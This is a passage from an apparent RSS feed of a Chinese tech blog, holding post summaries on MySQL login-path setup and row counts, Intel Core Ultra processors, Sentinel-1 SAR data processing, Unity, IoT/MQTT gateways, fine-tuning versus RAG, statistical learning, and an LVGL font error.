这里，你需要替换username为你的MySQL用户名。在执行此命令后，系统会提示你输入密码。输入密码时不会显示任何字符，这是正常的，以保证安全。&#xA;3. 查看login-path配置 为了确认login-path已经正确设置，可以使用以下命令查看所有配置的login-path：&#xA;mysql_config_editor print --all 输出将显示所有配置的login-path，但不会显示密码。&#xA;使用login-path登录MySQL 有了login-path，就可以在不需要手动输入密码的情况下登录MySQL了。&#xA;登录到MySQL 使用以下命令来使用你之前设置的login-path登录到MySQL：&#xA;mysql --login-path=local 这里的local是你设置的login-path的名称。如果一切设置正确，你将不需要输入密码即可登录到MySQL。&#xA;使用login-path执行命令 你还可以直接使用login-path执行MySQL命令，而不是先登录到MySQL提示符。例如：&#xA;mysql --login-path=local -e &#34;SHOW DATABASES;&#34; 这个命令将列出所有数据库，无需交互式登录。&#xA;注意事项 .mylogin.cnf文件是加密的，但仍然需要确保文件权限被正确设置，以防止未授权访问。&#xA;mysql_config_editor只适用于MySQL客户端工具，如mysql和mysqldump。&#xA;使用mysql_config_editor时，你可以设置多个login-path，用于不同的服务器或用户。&#xA;结论 mysql_config_editor提供了一种安全有效的方法来管理MySQL登录凭证。通过避免在命令行中直接输入敏感信息，它有助于提高安全性。此外，使用login-path可以简化自动化脚本的创建，因为不再需要硬编码凭证。遵循上述步骤，你可以轻松地设置login-path并利用它来安全地管理MySQL的访问。</description>
    </item>
    <item>
      <title>英特尔开启AI PC时代！酷睿Ultra处理器解析</title>
      <link>https://bchobby.github.io/posts/116af5e8ed7189b967146b14da31cccb/</link>
      <pubDate>Tue, 19 Dec 2023 13:19:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/116af5e8ed7189b967146b14da31cccb/</guid>
      <description>英特尔正式发布了全新酷睿Ultra处理器平台，它采用Intel 4制程工艺打造和3D Foveros封装技术，有着新的性能核和能效核。&#xA;最多拥有6个性能核和8个能效核以及2个低功耗岛能效核，最高主频可达5.1GHz，还有全新的Arc GPU显卡，配备多达8个单元的Xe核显，实现了两倍性能提升，为超薄笔记本提供卓越的性能。&#xA;并且配备了全新的AI加速处理的NPU，引领着电脑本地AI计算大规模的普及和被广泛使用AI应用场景， 通过在酷睿Ultra上为AI应用的优化，带来新的用户体验。&#xA;全新制程工艺+3D Foveros封装技术&#xA;酷睿Ultra(Meteor Lake)是英特尔第一个采用Intel 4制程工艺的处理器产品，作为英特尔“四年五节点”制程发展计划当中是最重要的一环，Intel 4的量产标志着英特尔非常顺利的导入了EUV，为Intel 3和后续的Intel 20A、Intel 18A的顺利开发打了非常坚实的基础。&#xA;Intel 4对比Intel 7，实现了2倍晶体密度的提升，并且优化了CPU高性能逻辑库，进一步实现了更高密度的金属层，达到了更高效的供电。相比Intel 7，Intel 4实现了20%的能效提升，这也是Meteor Lake处理器非常重要的一个特性。&#xA;Meteor Lake采用全新分离式模块架构，分别是计算模块、SoC模块、图形模块、IO模块，并通过英特尔Foveros 3D封装技术连接。&#xA;依然是高性能混合架构，拥有全新的性能核(Redwood Cove)与能效核(Crestmont)，提升了每瓦的性能执行效率，同时通过分离式的模块化设计，实现了独立的低功耗岛，在这个低功耗岛上面，内置了低功耗E-Core。&#xA;同时把内存控制器、视频编解码器、显示处理单元、NPU等都集成在低功耗岛，实现了低功耗运行处理单元。&#xA;模块化设计还实现了模块的单独供电控制，更有效提升了整个处理器的能耗管理。在硬件之上，配合操作系统，硬件线程调度器实现了更高级的3阶线程调度管理。&#xA;更强的性能和更低的功耗&#xA;在实际的性能上，根据官方公布的数据，在相同的功耗下，酷睿Ultra 7 165H对比前代酷睿i7-1370P有着更好的性能，领先约为8%，对比友商的产品则领先了11%。&#xA;在生产力方面，酷睿Ultra 7 165H对比友商的产品，在Video Editing上有31%的性能领先，在Premiere Pro上有41%性能领先，在lightroom上有19%的性能领先。&#xA;而功耗方面，在线视频播放场景下，拥有更低功耗LPE核心的酷睿Ultra，对比前代采用P核+E核的酷睿i7-1370P可以节省约25%的功耗。在线视频播放、4K本地视频、待机、Teams视频会议等场景对比友商的产品最多节省79%的功耗。&#xA;性能翻倍的Arc GPU集成显卡&#xA;酷睿Ultra还集成了全新的英特尔Arc GPU，它采用了全新的Xe LPG架构，最多配备8个Xe核显，相比于上一代实现了近两倍性能的提升。&#xA;它还支持了DX12 Ultimate的特性，支持硬件的光线追踪和网格着色等新的图形特性。编码方面，Arc GPU不仅支持H.265和H.264，还增加了AV1的支持，最高可支持8K 10bit HDR。&#xA;这个集显还支持4路显示通道，支持HDMI 2.1、DP 2.1以及eDP 1.4b等主流高端显示接口。&#xA;而且和锐炫独显一样，全新的核显不仅支持DP4a指令，可以做到更快加速AI计算，还有XeSS超级采样，通过AI增强型升级，使用更低的分辨率进行渲染，然后利用 AI 技术将图像提升至更高的分辨率，提升游戏性能和图像保真度。&#xA;具体来说，根据英特尔官方给出的数据，在18款游戏的测试中，酷睿Ultra 7 165对比前代酷睿i7-1370P均有着领先，其中在《博德之门3》中，实现了100%的提升。&#xA;而开启XeSS后，包括《杀手3》、《如龙7外传》《巫师3》《古墓丽影：暗影》《赛博朋克2077》在内的15款测试游戏，平均帧率提升达到了39%。&#xA;在《幽灵行者2》上，全新的集显(酷睿Ultra 7 165H)相比前一代酷睿处理集显(酷睿i7-1370P)在1080P画质下提升幅度是非常大的。再加上XeSS技术，在同样的分辨率下，帧率获得了3倍的提升，并且在同样的FPS下，也会更加省电。&#xA;首次集成AI加速处理的NPU&#xA;作为面向AI PC所打造的产品，英特尔酷睿Ultra处理器可以说是为AI PC场景应运而生的新一代平台。酷睿Ultra首次集成神经网络处理单元(NPU)，并且全系支持，更进一步提升终端侧AI能效及应用。&#xA;酷睿Ultra的CPU、GPU、NPU都可以做AI处理，总体算力可以达到34TOPs。全新的NPU是专为AI负载设计的，具有高能效、低功耗等优势，尤其适合长时间运行的AI应用。&#xA;比如在视频会议场景中涉及长时间的背景虚化、任务追踪等等需求，NPU加入后可以降低对CPU、GPU调用，从而让轻薄本等设备提供更持久的续航。根据官方的数据，在进行Zoom视频会议的时候，通过把背景移除这些特效转移到NPU上，可以有着38%的功耗节省。</description>
    </item>
    <item>
      <title>构建自己的哨兵数据集（以sentinel-1为例，使用SNAP软件）</title>
      <link>https://bchobby.github.io/posts/d9c0f2bc85af444a3088523cf9424781/</link>
      <pubDate>Tue, 19 Dec 2023 12:57:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d9c0f2bc85af444a3088523cf9424781/</guid>
      <description>文章目录 一、获取哨兵数据二、处理哨兵计划产品数据三、导出图片格式并切割图片 一、获取哨兵数据 首先进入欧洲航空局网站，哨兵1号由两颗极轨卫星A星和B星组成。两颗卫星搭载的传感器为合成孔径雷达（SAR），属于主动微波遥感卫星。&#xA;1.点击“Open Hub”&#xA;2.点击右上角完成账户注册（这一步很简单）。&#xA;3.点击下图中“1”，选择要查找的区域（本文以西安为例），选择完成后，点击“2”来完成具体的数据选择。&#xA;产品类型中：&#xA;SLC(Single Look Complex)：这些产品包含原始SAR数据的相位和振幅信息，通常用于制作高分辨率SAR图像，进行地质勘探和地震监测等应用。（博主因为要用于SAR图像训练，所以选择了该产品类型）&#xA;GRD(Ground Range Detected：这些产品包含了原始合成孔径雷达数据的地表反射率信息，可以用于监测土地覆盖和变化，如农田、森林和城市。&#xA;OCN(Ocean)：主要用于监测和研究地球的海洋环境，提供了关于海洋表面特征和动态的有用信息。&#xA;RAW属于为加工的原始SAR数据，加工后得到SLC、GRD、OCN。&#xA;传感器模式选项：&#xA;Stripmap（SM）模式： Stripmap模式提供了中等分辨率的SAR图像，适用于地质、环境和农业监测等应用。&#xA;Interferometric Wide (IW) 模式： IW模式具有较高的分辨率，适用于地表变形监测、森林监测和海洋应用。&#xA;Extra Wide (EW) 模式： EW模式提供更宽的覆盖范围，适用于大范围地表监测，如洪水监测和农业用途。&#xA;4.设置完毕后，点击搜索按钮，并选择一款产品加入购物车（为了防止下一次找不到），再点击下载按钮。得到的是一个非常大的压缩包。&#xA;二、处理哨兵计划产品数据 1.下载SNAP软件进行哨兵数据的处理，进入下载官网，选择版本。&#xA;2.打开软件，点击“File”，再点击“Open Product…”，选择刚刚下载的安装包，在“Bands”中就可以查看图像了（西安古城墙清晰可见23333）&#xA;至此，数据的获取就完成了，后续就可以进行其他专业处理了，本人后面只介绍如何导出成图片，以及分割图片&#xA;三、导出图片格式并切割图片 1.导出图片，点击“File”–&amp;gt;“Export”–&amp;gt;“Other”–&amp;gt;“View as image”，接下来在图片右侧窗口进行分辨率的选择。&#xA;2.切割图片。（因为本人需要训练网络，所以要分辨率较小的图片），这里本人使用python写了一个简单的脚本，使用到了PIL的Image库。&#xA;def batch_crop(input_dir, crop_size=128): # input_dir 传入的照片路径 # crop_size 所截取图片的大小 # dirs = os.listdir(input_dir) # 保存input_dir目录下所有文件至dirs # for item in dirs: im = Image.open(input_dir) print(&#34;图像尺寸（宽，高）: &#34;, im.size) (width, height) = im.</description>
    </item>
    <item>
      <title>unity Game窗口预览模糊</title>
      <link>https://bchobby.github.io/posts/2a5c5c0e4f90cb64de91ed371463a3e1/</link>
      <pubDate>Tue, 19 Dec 2023 11:19:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2a5c5c0e4f90cb64de91ed371463a3e1/</guid>
      <description>前言：给美术验收UI时，说我的截图特别模糊。&#xA;原因：序列化存储了quality值,启动时代码设置为0低品质了。清空重置，设置为2高品质即可。&#xA;m_quality = PlayerPrefs.GetInt(&#34;_Quality&#34;); QualitySettings.SetQualityLevel(m_quality); Window平台：&#xA;HICU\Software[公司名称][产品名称] 项下的注册表中&#xA;其中公司名称和产品名称是在“Project Settings”中设置的名称&#xA;Win+R运行——regedit——HKEY_CURRENT_USER——SOFTWARE——Unity——UnityEditor——公司名——产品名&#xA;Android：&#xA;/data/data/包名/shared_prefs/pkg-name.xml&#xA;IOS：&#xA;/Library/Preferences/[应用ID].plist</description>
    </item>
    <item>
      <title>物联网数据采集网关在工厂数字化转型中的应用</title>
      <link>https://bchobby.github.io/posts/0c6a64b0f4d9b156e2b131557082d454/</link>
      <pubDate>Tue, 19 Dec 2023 10:54:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0c6a64b0f4d9b156e2b131557082d454/</guid>
      <description>物联网数据采集网关能将各种传感器、执行器等设备连接在一起，通过收集、处理和传输来自各种物理设备的信息，实现数据的集成和分析，同时可通过云平台进行数据交互。它具有数据转换、数据处理、数据传输等功能，是工厂数字化转型的核心组件。随着科技的飞速发展，物联网技术正在改变着世界。其中，物联网数据采集网关在工厂数字化转型中扮演着关键的角色。&#xA;物联网数据采集网关在工厂数字化转型中的应用&#xA;设备监控与管理：通过物联网数据采集网关，可以实时监控工厂中各种设备的运行状态，如温度、湿度、压力、液位等参数，实现对设备的高效管理。一旦发现异常数据，网关会立即启动报警程序，通知管理人员及时处理，从而提高设备利用率，降低故障率。&#xA;数据采集与处理：物联网数据采集网关可以收集来自各种传感器的数据，如温度传感器、压力传感器、液位传感器等。这些数据通过网关进行预处理之后，会上传至云平台进行进一步的分析和处理，以实现对生产过程的精细化管理。&#xA;远程控制与调节：通过物联网数据采集网关，管理人员可以在远程对工厂中的设备进行控制和调节。例如，通过网关调整设备的运行参数，或者对设备进行开关机操作。这大大提高了管理的便捷性和效率。&#xA;预测性维护：通过物联网数据采集网关收集的数据，可以进行深度分析和学习，预测设备的运行状态和寿命。管理人员可以根据这些数据提前进行维护计划安排，减少设备停机时间，降低生产中断的风险。&#xA;能源管理：物联网数据采集网关可以实时监控工厂的能源使用情况，包括电力、燃气、水等。通过数据分析，可以优化能源使用效率，降低生产成本。&#xA;质量管理：通过物联网数据采集网关收集生产过程中的质量数据，可以对产品质量进行实时监控和预测，及时发现并解决问题，提高产品质量水平。&#xA;安全管理：物联网数据采集网关可以实时监控工厂的安全状况，如火灾、泄漏等安全隐患。一旦发现异常，网关可以立即启动安全报警程序，通知相关人员及时处理，确保工厂的安全生产。&#xA;物联网数据采集网关在工厂数字化转型中起着至关重要的作用。它不仅能实现设备的实时监控与远程管理，还能进行数据采集与处理、预测性维护、能源管理、质量管理和安全管理等。这些先进的技术手段和管理方法，有助于提高工厂的生产效率、降低运营成本、提高产品质量和安全管理水平。随着工业4.0和智能制造的快速发展，物联网数据采集网关将在工厂数字化转型中发挥更大的作用。</description>
    </item>
    <item>
      <title>如何实现MQTT网关连接各类工业物联设备，实现数据传输与控制</title>
      <link>https://bchobby.github.io/posts/8306dea6144ce6fc130ee8194e10ead9/</link>
      <pubDate>Tue, 19 Dec 2023 10:53:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8306dea6144ce6fc130ee8194e10ead9/</guid>
      <description>MQTT是一种轻量级的发布/订阅消息传输协议，专门为低带宽、高延迟或不稳定的网络环境设计。它支持离线消息存储，使客户端在未连接到服务器时也能接收到消息。MQTT网关是一种采用MQTT协议的网关设备，可以连接不同类型的工业物联设备，实现设备之间的数据传输和控制。随着物联网技术的不断发展，工业物联设备之间的互联互通和数据传输变得越来越重要。MQTT网关作为一种轻量级的发布/订阅消息传输协议，在连接各类工业物联设备、实现数据传输和控制方面具有广泛的应用价值。本文将介绍如何实现MQTT网关连接各类工业物联设备，实现数据传输与控制。&#xA;实现MQTT网关连接各类工业物联设备&#xA;1、选择合适的MQTT网关&#xA;首先，需要选择一款适合的MQTT网关。选择时需要考虑网关的硬件配置、网络接口、扩展接口以及是否支持目标云平台等因素。同时，还需要根据实际应用场景选择合适的网关尺寸、重量和防护等级等参数。&#xA;2、连接设备与MQTT网关&#xA;不同类型的工业物联设备可能有不同的连接方式，需要根据设备的通信协议和接口类型选择合适的连接方式。例如，一些设备可能使用串口或以太网接口进行连接。确保连接的可靠性和稳定性，以便实现设备与MQTT网关之间的数据传输。&#xA;3、配置MQTT网关参数&#xA;根据连接的工业物联设备的类型和数据传输需求，配置MQTT网关的参数。这些参数可能包括主题订阅、消息发布、连接参数等。确保配置的参数能够满足实际需求。&#xA;4、数据传输与控制&#xA;通过MQTT协议，MQTT网关可以与工业物联设备进行数据传输和控制。当设备需要发送数据时，可以将数据发布到特定的主题上，MQTT网关可以订阅这些主题以接收数据。同时，MQTT网关也可以向指定的主题发布命令或控制指令，以实现对设备的远程控制。&#xA;5、数据处理与分析&#xA;通过MQTT网关接收到的数据可以进行进一步的处理和分析。例如，可以解析和处理数据以监控设备运行状况、预测潜在问题、优化生产流程等。同时，也可以自定义生成报表和可视化数据，提高决策效率。&#xA;6、远程控制与调试&#xA;通过MQTT协议，MQTT网关还可以接收来自远程平台的控制指令，实现对设备的远程启停控制、远程编程调试和远程上下载程序等操作。这有助于提高运维效率与管理水平。&#xA;实现数据传输与控制&#xA;数据传输：MQTT网关可以采集各类工业物联设备的数据，并将其传输到云平台或其它应用系统。数据传输可以采用发布/订阅模式，设备或传感器发布数据，MQTT网关订阅数据并传输到目标位置。同时，MQTT网关也可以从云平台或其它应用系统发送数据到设备或传感器。&#xA;数据处理与分析：MQTT网关可以对采集到的数据进行处理和分析，包括数据清洗、数据转换、数据挖掘等操作，以提高数据质量和可用性。同时，也可以自定义生成报表和可视化数据，为决策提供支持。&#xA;控制：MQTT网关可以接收来自云平台或其它应用系统的控制指令，并将其发送到设备或传感器，实现对设备的远程控制。例如，可以控制设备的开关、调整设备的参数等。&#xA;应用案例分析&#xA;以一个智能制造车间为例，说明如何实现MQTT网关连接各类工业物联设备，实现数据传输与控制。在该车间中，传感器负责监测车间的温度、湿度、气压等环境参数；摄像头负责监控车间的生产线上各设备的运行状态；机器人负责执行生产任务。通过MQTT网关将这些设备连接起来，可以实现以下功能：&#xA;数据采集：通过传感器采集车间的环境参数，如温度、湿度、气压等，并将数据发送到云平台进行存储和分析。同时，通过摄像头监控生产线上各设备的运行状态，将视频数据传输到云平台进行实时监控。&#xA;数据传输：将采集到的数据通过MQTT协议发送到云平台上的数据处理系统进行分析和处理。同时，根据需要将数据传输到其他应用系统进行进一步的数据利用和价值挖掘。&#xA;远程控制：通过MQTT协议，可以向设备发送控制指令，实现远程控制。例如，当监测到车间的温度过高时，可以向空调发送控制指令，调整温度至正常范围。同时，也可以根据生产计划自动发送控制指令给机器人，执行相应的生产任务。&#xA;故障预警与诊断：通过分析采集到的数据，可以检测设备的故障或异常状态。当出现故障时，可以向维护人员发送预警信息，及时进行维修和保养。同时，通过对历史数据的分析，可以找出故障的原因和解决方案，提高生产效率。&#xA;优化生产流程：通过对环境参数和设备运行数据的分析，可以优化生产流程。例如，根据车间的温度和湿度数据，可以调整生产线的运行速度和工艺参数，以提高产品质量和生产效率。&#xA;人员管理：通过与人员定位系统结合，可以实时监测车间内员工的位置和活动情况。当出现紧急情况时，可以通过MQTT网关向员工发送紧急通知，引导他们快速疏散或采取必要的防护措施。&#xA;节能减排：通过监测车间的能源消耗数据，可以分析能源浪费的原因并采取相应的节能措施。例如，根据车间的温度和湿度数据，可以调整空调和通风系统的运行参数，降低能源消耗。&#xA;通过实现MQTT网关连接各类工业物联设备，可以实现数据采集、传输、控制等功能，提高生产效率、降低成本、保障人员安全等方面具有重要意义。这不仅有助于提高设备的智能化、远程化管理水平，还为企业的生产管理提供了实时数据支持，优化了生产流程，提高了产量和质量。同时，也有助于实现工业制造的数字化、智能化和绿色化转型。</description>
    </item>
    <item>
      <title>如何查询mysql数据库中每个表的记录数?</title>
      <link>https://bchobby.github.io/posts/7f0dadc91a98cb7f083fea54d26334ad/</link>
      <pubDate>Tue, 19 Dec 2023 10:12:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7f0dadc91a98cb7f083fea54d26334ad/</guid>
      <description>要查询MySQL数据库中每个表的记录数，我们可以使用INFORMATION_SCHEMA数据库，这是一个内置的数据库，其中包含了关于其他所有数据库的元数据。我们可以编写一个查询，遍历INFORMATION_SCHEMA.TABLES表，来获取每个表的行数。&#xA;使用INFORMATION_SCHEMA查询 以下是一个SQL查询示例，它会返回指定数据库中每个表的名称和记录数：&#xA;SELECT TABLE_NAME, TABLE_ROWS FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = &#39;database_name&#39;; 请将database_name替换为想要查询的数据库名称。&#xA;需要注意的是，INFORMATION_SCHEMA.TABLES中的TABLE_ROWS列给出的行数可能是一个近似值，特别是对于大型表或包含动态行格式（如InnoDB）的表。如果需要精确的行数，可以为每个表编写一个单独的COUNT(*)查询，但这对于大型表来说可能会很慢。&#xA;使用COUNT(*)查询 如果想要精确的行数，并且表不是特别大，可以使用以下的SQL脚本：&#xA;SELECT CONCAT(&#39;SELECT &#39;&#39;&#39;, TABLE_NAME, &#39;&#39;&#39; AS table_name, COUNT(*) AS exact_count FROM `&#39;, TABLE_SCHEMA, &#39;`.`&#39;, TABLE_NAME, &#39;`;&#39;) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = &#39;database_name&#39;; 这个查询会为database_name数据库中的每个表生成一个COUNT(*)查询。然后，可以手动执行这些查询，或者使用脚本自动执行它们，以获取每个表的精确行数。&#xA;更新INFORMATION_SCHEMA的TABLE_ROWS 如果TABLE_ROWS的值与预期有很大差距，可以尝试使用ANALYZE TABLE命令来更新表的统计信息，这有时可以使估算值更加准确：&#xA;ANALYZE TABLE your_table_name; 这将更新表的键值分布统计信息，可能会使得TABLE_ROWS的估算值更加接近实际行数。但请注意，这个命令可能会对表进行锁定，因此在高流量的生产环境中使用时需要小心。</description>
    </item>
    <item>
      <title>数据库的增删改查</title>
      <link>https://bchobby.github.io/posts/e3eeb7f41eb15d963bfb238d2740ff41/</link>
      <pubDate>Tue, 19 Dec 2023 09:28:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e3eeb7f41eb15d963bfb238d2740ff41/</guid>
      <description> 库的基本管理 列出有哪些库 查询当前 MariaDB 服务器上有哪些库 选择库 管理库中的表格之前，可以先进⼊到⽬标库 创建新库 增加指定名称的新数据库&#xA;删除库 将指定名称的数据库从服务器上移除 表的基本管理 创建新表 需要指定表名、有哪些字段及各⾃类型 检查表格的列设置 增加表记录 向表格中插⼊数据记录 列出表中的所有记录 查看表格内容 查看该库中的表 删除表 删除表中的数据 授权库表概述 新装mariadb-server后，默认库mysql user表，存储授权⽤户/密码及访问权限 db表，存储⽤户对库的访问权限 tables_priv表，存储⽤户对表的访问权限 columns_priv表，存储⽤户对字段的访问权限 设置授权 MariaDB [（ none ）] &amp;gt; 交互指令 权限列表 all , select，update，insert，delete..… 客户机地址表示 允许使⽤%通配符 例如%’匹配任意主机、‘192.168.10.%’匹配⼀个⽹段 查看授权 列出⾃⼰或指定⽤户的授权 撤销授权 取消对指定⽤户的授权 </description>
    </item>
    <item>
      <title>Elasticsearch：生成 AI 中的微调与 RAG</title>
      <link>https://bchobby.github.io/posts/543a0f482f5fa3a9d4a83b1a6c5fd958/</link>
      <pubDate>Tue, 19 Dec 2023 09:13:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/543a0f482f5fa3a9d4a83b1a6c5fd958/</guid>
      <description>在自然语言处理 (NLP) 领域，出现了两种卓越的技术，每种技术都有其独特的功能：微调大型语言模型 (LLM) 和 RAG（检索增强生成）。 这些方法极大地影响了我们利用语言模型的方式，使它们更加通用和有效。 在本文中，我们将详细介绍微调和 RAG 的含义，并强调它们之间的主要区别。&#xA;深入研究微调 LLM：为特定任务定制语言模型 微调是生成人工智能中的一个关键过程，其中预训练的语言模型是针对特定任务或领域/任务定制的。 它涉及完善模型执行专门任务的能力。 （例如，领域：财务，任务：总结）&#xA;理解 RAG：使 AI 生成的文本更加上下文相关、事实准确 RAG 代表 “检索增强生成”。 简单来说，RAG是人工智能中一种将信息检索与文本生成相结合的技术。 它可以帮助人工智能模型提供更准确且与上下文相关的响应。&#xA;Retrieval-Augmented Generation 区别：微调与 RAG 微调大语言模型 (LLM) 和 RAG（检索增强生成）是构建和使用自然语言处理模型的两种不同方法。 以下是两者之间主要区别的细分：&#xA;目的： 微调 LLM：微调涉及采用预先训练的 LLM（例如 GPT-3 或 BERT）并使其适应特定任务。 它是一种用于各种 NLP 任务的通用方法，包括文本分类、语言翻译、情感分析等。 当仅使用模型本身即可完成任务并且不需要外部信息检索时，通常会使用微调的 LLM。RAG：RAG 模型专为涉及文本检索和生成的任务而设计。 它们结合了检索机制（从大型数据库中获取相关信息）和生成机制（根据检索到的信息生成类似人类的文本）。 RAG 模型通常用于问答、文档摘要以及其他访问本地信息至关重要的任务。 架构： 微调 LLM：微调 LLM 通常从预先训练的模型（如 GPT-3）开始，并通过针对特定任务的数据进行训练来对其进行微调。 该架构基本保持不变，只是对模型参数进行了调整，以优化特定任务的性能。RAG：RAG 模型具有混合架构，将基于转换器的 LLM（如 GPT）与外部内存模块相结合，允许从知识源（例如数据库或一组文档）进行高效检索。 训练数据： 微调 LLM：微调 LLM 依赖于特定于任务的训练数据，通常由与目标任务匹配的标记示例组成，但它们没有明确涉及检索机制。RAG：RAG 模型经过训练可以处理检索和生成，这通常涉及监督数据（用于生成）和演示如何有效检索和使用外部信息的数据的组合。 用例： 微调 LLM：微调 LLM 适用于各种 NLP 任务，包括文本分类、情感分析、文本生成等，其中任务主要涉及根据输入理解和生成文本。RAG：RAG 模型在任务需要访问外部知识的场景中表现出色，例如开放域问答、文档摘要或可以从知识库提供信息的聊天机器人。 使用 Elasticsearch 拥抱 RAG RAG 是 NLP 领域的一项关键创新，它集成了检索模型和生成模型的功能，以生成连贯、上下文丰富的文本。</description>
    </item>
    <item>
      <title>统计学习模型：概念、建模预测及评估</title>
      <link>https://bchobby.github.io/posts/5850942bc6f4c89d649905e6f5184d5a/</link>
      <pubDate>Tue, 19 Dec 2023 08:23:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5850942bc6f4c89d649905e6f5184d5a/</guid>
      <description>01. 前言&#xA;之前在硕士阶段，统计学习（SL）既不是我的研究方向，也不是我的研究工具，所以了解甚少。之前我与 SL 唯一的接触停留在非常走马观花的读过一遍 ISLR 那本书，积累的技能仅限于在 R 里调包来 fit 简单的 model。简单来说就是了解的东西连皮毛都算不上，更不用提个中细致的推导以及背后严谨的数学了。 目前的学习和研究中，我导本身对统计学习要求很高，关键是她自己也很强，搞得我压力山大一直在狂补基础。开学一月有余，最近正好在上 Prof. Yang Can 的一门统计推断相关的课，刷新了我对统计学习的认知，他讲故事的能力极强，能用一幅 big picture 把各种我听过的没听过的方法互相联系起来（当然这也源于他的深厚功力），个人也对他写的统计学习相关的博客十分着迷。最近在重读 ISLR+ESL，想记录一下进展，深知目前水平有限，写此文只为分享自己关于某些概念的理解，供读者一乐。 本文主要谈一谈我自己关于一些基础概念的理解和解读，包括但不限于统计学习中的预测和推断、模型精度与模型可解释性、bias-variance trade-off 等内容。大佬请略过直接拉到末尾有好文推荐可享用。&#xA;02. 什么是统计学习？&#xA;在我们的日常生活、生产中，有众多的数据存在着、流动着，数据和数据之间也有着各种各样的联系。很多时候，基于已观测到的数据，我们好奇其中的联系，想要找到其中隐含的经验和知识来帮助我们对现有的系统进行优化、或是对未来的不可见数据做预测和推断。统计学习做的就是这么一件事：基于数据构建模型并且用模型对数据进行预测和分析。 举个很简单的例子，根据长期的观察，人们发现子女和父母的身高之间存在一定的定性关系。统计学家利用收集到的数据进行统计学习建模，学习出的模型就能够根据父母身高及其他因素（家庭孩子数量、孩子的性别）等对未出生的子女的身高进行预测。两个世纪以前，法国的科学家 Galton 做的就是这么一件事，他发现了 1.08 这个奇妙的数字，也发现了男孩比女孩平均要高一些。两百年多年过去了，他给我们留下了一个名为 Galton Family 的古老的数据集，至今仍是很好玩的 toy set。感兴趣的伙伴可以去 fit 一个任意模型看看你能达到的最小 MSE 是多少哈哈（settings：利用其它变量预测 child height，train-734，test-200，reps-200）。&#xA;下图是另一个例子，左图是受教育年限与收入的样本数据，根据此数据可以构建右图中蓝线所示的统计学习模型，该模型可以用于预测某个受教育年限的样本其收入情况如何。&#xA;03. 统计学习模型：预测与推断&#xA;上文提到，统计学习中通常要基于数据进行建模来实现预测和推断。实际上，针对未来数据所做的预测和推断就是我们构建模型最初的动力和目标。这里有必要区分一下预测（prediction）和推断（inference）。&#xA;预测是指我们给所构建的模型一定的输入，利用模型对输出进行预测。这在很多时候代表着未知场景下对关键指标的估计，比如根据候选人的学历、工作经营等因素预测其薪资时，我们更好奇某个条件（如硕士学历、3 年工作经验）的候选人能拿到的薪资数额是多少？不难发现，在预测中我们对输出更感兴趣。&#xA;而推断则与预测不同，简单来说，当我们的目的是推断时，我们对输入和输出之间的关系（而不是输出）更为感兴趣，我们更好奇哪个输入对输出的有什么样的影响？同样的例子，当我们的任务是推断时，我们要解决的问题很可能就是学历对薪资的影响有多大？或是学历和工作经验到底哪一个对薪资的影响更大？&#xA;04. 如何构建学习模型？&#xA;要想实现预测和推断，构建统计学习模型是第一步。大致来分的话，构建统计学习模型的方法可以分为两种：参数式方法和非参数式方法。 参数式方法比较直接，可以分为两步。第一步先对模型的形式做一个假设，比如最简单的模型假设就可以说它是线性的。选择完模型假设后，我们对模型有一个较为准确的认知了，此时的模型中只剩下众多未知的参数。所以第二步就是利用已有的数据对模型中的参数进行估计。很容易看出，参数式方法把寻找一个未知模型（函数）的问题通过预先假设模型形式的方法转变成了根据数据估计一堆参数的问题，这是一个化繁为简的过程，其代价就是对模型形式进行了限制。 而非参数式的方法则对模型的形式没有具体的假设，这使得它理论上可以构建任何能最接近训练集的模型。 通过上面的简单解释，不难发现为什么它们拥有这样的命名。此外，参数式方法和非参数式方法的优缺点也一览无余：参数式方法将构建模型的问题简单化，然而却面临模型假设与数据背后未知的真实模型相差甚远的风险，所以对于参数式方法来说，如果模型假设提的好，效果自然好，构建起来也轻松一些，但如果模型假设不那么好甚至相差很远，就是完完全全的灾难。非参数式方法的优势则在于其理论上可以根据数据拟合任何种类的模型（能够最大程度的贴近数据），而其劣势则是需要更大量的数据（相较参数式方法而言）来构建一个准确的模型。 通过不同的方法，我们可以构建很多不同的模型。可为什么要有这么多不同的统计学习方法/模型呢？没有一个最高级、最 fancy 的模型一劳永逸的解决所有问题吗？确实没有，no free lunch 说的就是这么个事，没有一个最好的模型可以在任何问题上优于其他模型，模型好不好都是 problem-dependent 的。换句话说，抛开具体问题谈哪个模型更好是没有一点意义的。&#xA;05. 预测精度 v.s. 模型可解释性&#xA;如在众多的统计学习方法中，不同的方法有着不同的特点，有些方法灵活性/弹性（flexibility）较差（约束较多），只能够构建有限的模型集合来拟合数据，如线性模型。有些方法 flexibility 则较好，能够构建更多的模型来拟合数据。 说到这不禁会有疑问，这样说来 flexibility 更好的方法不是我们的最佳选择吗？为什么还需要那些 flexibility 较差的方法呢？实际上，这里有一个很重要的 trade-off，那就是模型的预测精度与模型的可解释性。通常来说，以线性模型为代表的 flexibity 较差的模型，虽然它们能够构建的模型范围有限，导致其可能捕捉不到一些数据里的信息、造成预测精度较低，但是它们通常有着较为清晰的模型形式，比如线性模型可以将输出 Y 表示为输入 X 的线性组合，我们就可以清晰的分析出哪些变量会影响输出，这样的模型可解释性就非常高。</description>
    </item>
    <item>
      <title>error: ‘ui_font_sleepicon‘ undeclared (first use in this function)；lvgl自定义字体没有声明报错</title>
      <link>https://bchobby.github.io/posts/78e994edf7ebeaf55dad802d03b6c136/</link>
      <pubDate>Mon, 18 Dec 2023 23:52:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/78e994edf7ebeaf55dad802d03b6c136/</guid>
      <description>问题描述 …/ui/screens/Src/ui_MenuPage.c:857:51: error: ‘ui_font_sleepicon’ undeclared (first use in this function); did you mean ‘ui_MenuGameicon’?&#xA;在使用lvgl自定义字体时，没有声明因此才报错&#xA;解决方案： 在ui.h文件中声明要使用的字体</description>
    </item>
    <item>
      <title>读写分离之同步延迟测试</title>
